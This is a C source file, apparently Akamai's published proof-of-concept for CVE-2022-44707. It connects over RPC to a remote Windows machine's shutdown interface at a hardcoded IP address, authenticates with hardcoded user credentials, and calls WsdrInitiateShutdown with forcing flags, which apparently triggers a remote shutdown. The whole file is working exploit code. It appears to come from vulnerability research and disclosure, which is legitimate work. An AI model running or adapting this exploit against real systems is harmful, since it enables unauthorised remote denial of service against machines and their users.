/* CVE-2022-44707 PoC code
 * Copyright 2023 Akamai Technologies, Inc.
 *
 * Licensed under the Apache License, Version 2.0 (the
 * "License"); you may not use this file except in
 * compliance with the License.  You may obtain a copy
 * of the License at
 *
 *   https://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in
 * writing, software distributed under the License is
 * distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR
 * CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing
 * permissions and limitations under the License.
 */

#include <Windows.h>
#include <stdio.h>

#include "windowsshutdown_h.h"

#define TARGET L"172.23.63.56"
#define PASSWORD L"Aa1234567"
#define USER L"user"
#define DOMAIN L""
#define HOST_SPN L"HOST/"

void runCheckForHiberboot(RPC_IF_HANDLE bindHandle);
void runAbortShutdown(RPC_IF_HANDLE bindHandle);
void runInitiateShutdown(RPC_IF_HANDLE bindHandle);

#pragma comment(lib, "rpcrt4.lib")

void SetAuthInfo(RPC_IF_HANDLE bindHandle)
{
    RPC_SECURITY_QOS secQos;
    SEC_WINNT_AUTH_IDENTITY_W creds;
    RPC_STATUS rpcStatus;

    creds.Domain = DOMAIN;
    creds.DomainLength = wcslen(DOMAIN);
    creds.Flags = SEC_WINNT_AUTH_IDENTITY_UNICODE;
    creds.Password = PASSWORD;
    creds.PasswordLength = wcslen(PASSWORD);
    creds.User = USER;
    creds.UserLength = wcslen(USER);

    secQos.Version = RPC_C_SECURITY_QOS_VERSION_1;
    secQos.Capabilities = RPC_C_QOS_CAPABILITIES_DEFAULT;
    secQos.IdentityTracking = RPC_C_QOS_IDENTITY_STATIC;
    secQos.ImpersonationType = RPC_C_IMP_LEVEL_IMPERSONATE;
    //secQos.ImpersonationType = RPC_C_IMP_LEVEL_IDENTIFY;

    //wprintf(L"set bind\n");

    rpcStatus = RpcBindingSetAuthInfoW(
        bindHandle,
        HOST_SPN,
        RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
        RPC_C_AUTHN_WINNT,
        &creds,
        RPC_C_AUTHZ_NAME
        //&secQos
    );
    if (rpcStatus != RPC_S_OK) {
        wprintf(L"SetAuth failed with status: %d.\n", rpcStatus);
        exit(rpcStatus);
    }
}

RPC_IF_HANDLE SetBinding()
{
    RPC_IF_HANDLE bindHandle;
    RPC_STATUS rpcStatus;
    RPC_WSTR pszStringBinding = NULL;

    // This isn't the interaface UUID (which is d95afe70-a6d5-4259-822e-2c84da1ddb0d).
    // The interface doesn't expose itself, and instead uses a dynamic TCP endpoint, which has the UUID we're binding.
    rpcStatus = RpcStringBindingCompose(
        L"765294BA-60BC-48B8-92E9-89FD77769D91",
        L"ncacn_ip_tcp",
        TARGET,
        NULL,
        NULL,
        &pszStringBinding);
    if (rpcStatus)
    {
        wprintf(L"String compose failed with status: %d.\n", rpcStatus);
        exit(rpcStatus);
    }
    rpcStatus = RpcBindingFromStringBinding(pszStringBinding, &bindHandle);
    if (rpcStatus)
    {
        wprintf(L"BindFromString failed with status: %d.\n", rpcStatus);
        exit(rpcStatus);
    }

    SetAuthInfo(bindHandle);

    return bindHandle;
}

void runCheckForHiberboot(RPC_IF_HANDLE bindHandle)
{
    RPC_STATUS status;
    BOOLEAN ulCode = 0;
    long exception;
    RpcTryExcept
    {
        status = WsdrCheckForHiberboot(bindHandle, &ulCode, (BOOLEAN)0, NULL);
        wprintf(L"WsdrCheckForHiberboot returned %d, status %d\n", status, ulCode);
    }
    RpcExcept(1)
    {
        exception = RpcExceptionCode();
        wprintf(L"Runtime reported exception 0x%lx = %ld\n", exception, exception);
    }
    RpcEndExcept
}

void runInitiateShutdown(RPC_IF_HANDLE bindHandle)
{
    RPC_STATUS status;
    BOOLEAN ulCode = 0;
    long exception;
    LPWSTR msgBuf = L"Test";
    LPWSTR hintBuf = L"Hint";
    REG_UNICODE_STRING msg;
    REG_UNICODE_STRING hint;
    
    msg.Buffer = msgBuf;
    msg.Length = wcslen(msgBuf) + 1;
    msg.MaximumLength = wcslen(msgBuf) + 1;
    hint.Buffer = hintBuf;
    hint.Length = wcslen(msgBuf) + 1;
    hint.MaximumLength = wcslen(msgBuf) + 1;
    RpcTryExcept
    {
        status = WsdrInitiateShutdown(bindHandle, NULL, 0, 0x200 | 0x1 | 0x20, 0, NULL);
        wprintf(L"WsdrInitiateShutdown returned %d, status %d\n", status, ulCode);
    }
        RpcExcept(1)
    {
        exception = RpcExceptionCode();
        wprintf(L"Runtime reported exception 0x%lx = %ld\n", exception, exception);
    }
    RpcEndExcept
}

void runAbortShutdown(RPC_IF_HANDLE bindHandle)
{
    RPC_STATUS status;
    long exception;
    RpcTryExcept
    {
        status = WsdrAbortShutdown(bindHandle, NULL);
        wprintf(L"WsdrAbortShutdown returned status %d\n", status);
    }
    RpcExcept(1)
    {
        exception = RpcExceptionCode();
        wprintf(L"Runtime reported exception 0x%lx = %ld\n", exception, exception);
    }
    RpcEndExcept
}

void main()
{
    RPC_STATUS status;
    RPC_IF_HANDLE bindHandle = SetBinding();
   
    //runAbortShutdown(bindHandle);
    runInitiateShutdown(bindHandle);
    runCheckForHiberboot(bindHandle);
    //runAbortShutdown(bindHandle);
    runInitiateShutdown(bindHandle);
}

// Function used to allocate memory to the interface
void* __RPC_USER midl_user_allocate(size_t size) {
    return malloc(size);
}

// Function used to free memory allocated to the interface
void __RPC_USER midl_user_free(void* p) {
    free(p);
}